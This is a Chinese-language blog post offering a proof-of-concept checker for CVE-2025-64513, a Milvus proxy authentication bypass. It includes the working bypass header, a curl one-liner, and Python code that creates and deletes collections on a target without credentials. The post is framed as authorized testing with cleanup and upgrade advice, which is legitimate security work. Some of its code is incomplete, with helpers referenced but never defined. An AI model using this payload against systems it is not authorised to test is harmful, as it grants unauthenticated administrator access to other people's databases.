Milvus 权限绕过漏洞检测工具 (CVE-2025-64513)

0 阅读5分钟

🛡️ Milvus 权限绕过漏洞检测工具 (CVE-2025-64513)

高危漏洞验证工具 · 零认证 · 低复杂度 · 全自动报告

Severity转存失败,建议直接上传图片文件 CVSS转存失败,建议直接上传图片文件 Milvus转存失败,建议直接上传图片文件 PoC转存失败,建议直接上传图片文件

📋 项目概述

CVE-2025-64513 是 Milvus 向量数据库代理组件中的一个严重身份验证绕过漏洞。攻击者通过构造特定的 sourceID: @@milvus-member@@ HTTP 头,可在无需任何凭证的情况下以管理员权限执行任意 API 操作(创建/删除集合、插入/查询数据等)。

本项目提供了负责任的漏洞测试工具(PoC),帮助安全团队快速验证内部 Milvus 实例是否存在该漏洞,并生成详细的测试报告,无需任何外部依赖。

⚠️ 本工具仅用于授权的安全测试与漏洞评估,严禁用于非法攻击。

✨ 功能特性

  • 🚀 零依赖验证 — 单文件 Python 脚本,仅需 requests
  • 🔐 无需认证 — 直接模拟 sourceID 请求头绕过权限控制
  • 📊 全自动测试流程 — 版本检测 → 集合创建 → 权限验证 → 资源清理
  • 📝 结构化报告生成 — 自动生成 JSON 格式的测试报告,包含时间戳、步骤记录、漏洞证明
  • 🧹 智能资源清理 — 测试完成后自动删除创建的测试集合,不留痕迹
  • 🎯 精确版本识别 — 明确标识受影响版本范围(2.4.x < 2.4.24, 2.5.x < 2.5.21, 2.6.x < 2.6.5)

🔧 安装指南

系统要求

  • Python 3.6+
  • 网络连通性:目标 Milvus Proxy 端口(默认 19530)

依赖安装

本工具仅依赖 requests 库,通过 pip 安装:

pip install requests

工具部署

下载 PoC 脚本并赋予执行权限:

wget https://raw.githubusercontent.com/example/CVE-2025-64513/main/CVE-2025-64513.py
chmod +x CVE-2025-64513.py

📖 使用说明

基础用法

# 针对单个目标进行测试
./CVE-2025-64513.py http://your-milvus-proxy:19530

# 示例:测试本地环境
./CVE-2025-64513.py http://127.0.0.1:19530

典型使用场景

场景一:漏洞验证(授权测试)
$ ./CVE-2025-64513.py http://milvus-prod.internal:19530

TARGET: http://milvus-prod.internal:19530
TEST COLLECTION: cve_2025_64513_test_x7k9m2p1

[*] Version Check → Success (v2.6.4)
[*] Create Test Collection → Success: cve_2025_64513_test_x7k9m2p1
[*] Verify Collection → Found: cve_2025_64513_test_x7k9m2p1
[*] Cleanup → Deleted: cve_2025_64513_test_x7k9m2p1

==================================================
VULNERABLE TO CVE-2025-64513
Upgrade to 2.4.24 / 2.5.21 / 2.6.5 IMMEDIATELY!
==================================================

REPORT SAVED: report_cve_2025_64513_x7k9m2p1.json
场景二:快速单行命令测试(curl)
curl -H "sourceID: @@milvus-member@@" \
     -X POST http://target:19530/api/v1/collections \
     -d '{"collection_name": "security_test"}' \
     -w "\nHTTP Status: %{http_code}\n"

报告输出示例

执行成功后自动生成 JSON 格式报告,包含完整的测试证据链:

{
  "cve": "CVE-2025-64513",
  "timestamp": "2025-02-11T08:42:31.123Z",
  "target": "http://milvus-prod.internal:19530",
  "test_collection": "cve_2025_64513_test_x7k9m2p1",
  "steps": [
    {
      "step": "Version Check",
      "result": "Success (v2.6.4)"
    },
    {
      "step": "Create Test Collection",
      "result": "Success: cve_2025_64513_test_x7k9m2p1"
    },
    {
      "step": "Verify Collection",
      "result": "Found: cve_2025_64513_test_x7k9m2p1"
    },
    {
      "step": "Cleanup",
      "result": "Deleted: cve_2025_64513_test_x7k9m2p1"
    }
  ],
  "vulnerable": true,
  "proof": {
    "version": "2.6.4",
    "collection_created": true,
    "collection_verified": true
  },
  "cleanup": true
}

🧩 核心代码

1. 漏洞检测主流程

# ==============================================
# CVE-2025-64513 Responsible Test PoC + Report
# Target: Milvus Proxy (Port 19530)
# ==============================================

import requests
import json
import random
import string
import sys
import datetime
import urllib3

urllib3.disable_warnings()

# === 配置区域 ===
URL = sys.argv[1] if len(sys.argv) > 1 else ""  # 目标地址
VERIFY_SSL = False  # 忽略SSL证书验证
TIMEOUT = 10        # 请求超时时间

# 生成唯一测试标识,避免冲突
TEST_ID = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
COLLECTION_NAME = f"cve_2025_64513_test_{TEST_ID}"

# 漏洞利用核心:特制请求头
BYPASS_HEADER = {
    "sourceID": "@@milvus-member@@",  # 权限绕过Payload
    "Content-Type": "application/json"
}

2. 版本检测模块

def check_version():
    """
    获取目标Milvus版本信息
    漏洞影响:2.4.x (<2.4.24), 2.5.x (<2.5.21), 2.6.x (<2.6.5)
    """
    try:
        resp = requests.get(
            f"{URL}/api/v1/version", 
            headers=BYPASS_HEADER, 
            verify=VERIFY_SSL, 
            timeout=TIMEOUT
        )
        if resp.status_code == 200:
            version = resp.json().get("version", "unknown")
            log_step("Version Check", f"Success (v{version})")
            return version
        else:
            log_step("Version Check", f"Failed (HTTP {resp.status_code})")
            return None
    except Exception as e:
        log_step("Version Check", f"Error: {e}")
        return None

3. 权限绕过验证模块

def create_test_collection():
    """
    核心漏洞验证逻辑:
    通过特制的sourceID请求头,尝试在无需认证的情况下创建集合
    成功创建即证明存在权限绕过漏洞
    """
    payload = {
        "collection_name": COLLECTION_NAME,
        "schema": {
            "fields": [
                {
                    "name": "id",
                    "type": "Int64",
                    "is_primary": True
                },
                {
                    "name": "vector",
                    "type": "FloatVector",
                    "params": {"dim": 128}
                }
            ]
        }
    }
    
    try:
        resp = requests.post(
            f"{URL}/api/v1/collections",
            headers=BYPASS_HEADER,
            json=payload,
            verify=VERIFY_SSL,
            timeout=TIMEOUT
        )
        
        if resp.status_code == 201 or resp.status_code == 200:
            log_step("Create Test Collection", f"Success: {COLLECTION_NAME}")
            REPORT["proof"]["collection_created"] = True
            return True
        else:
            log_step("Create Test Collection", f"Failed (HTTP {resp.status_code})")
            return False
    except Exception as e:
        log_step("Create Test Collection", f"Error: {e}")
        return False

4. 报告生成与清理模块

def save_report():
    """
    生成结构化JSON报告,包含:
    - CVE编号与时间戳
    - 目标地址与测试集合
    - 完整的步骤执行记录
    - 漏洞证明证据
    - 资源清理状态
    """
    filename = f"report_cve_2025_64513_{TEST_ID}.json"
    with open(filename, "w") as f:
        json.dump(REPORT, f, indent=2)
    print(f"\nREPORT SAVED: {filename}\n")

def cleanup():
    """
    负责任的安全测试:自动删除测试过程中创建的集合
    确保不遗留任何测试数据在生产环境
    """
    try:
        resp = requests.delete(
            f"{URL}/api/v1/collections/{COLLECTION_NAME}",
            headers=BYPASS_HEADER,
            verify=VERIFY_SSL,
            timeout=TIMEOUT
        )
        
        if resp.status_code in [200, 204]:
            log_step("Cleanup", f"Deleted: {COLLECTION_NAME}")
            REPORT["cleanup"] = True
            return True
        else:
            log_step("Cleanup", f"Failed (HTTP {resp.status_code})")
            return False
    except Exception as e:
        log_step("Cleanup", f"Error: {e}")
        return False

🛡️ 负责任的披露 · 及时升级 · 保护基础设施

修复版本2.4.24 | 2.5.21 | 2.6.5 及更高

FINISHED 6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6cbYbu0X223mPtmjsh9IN4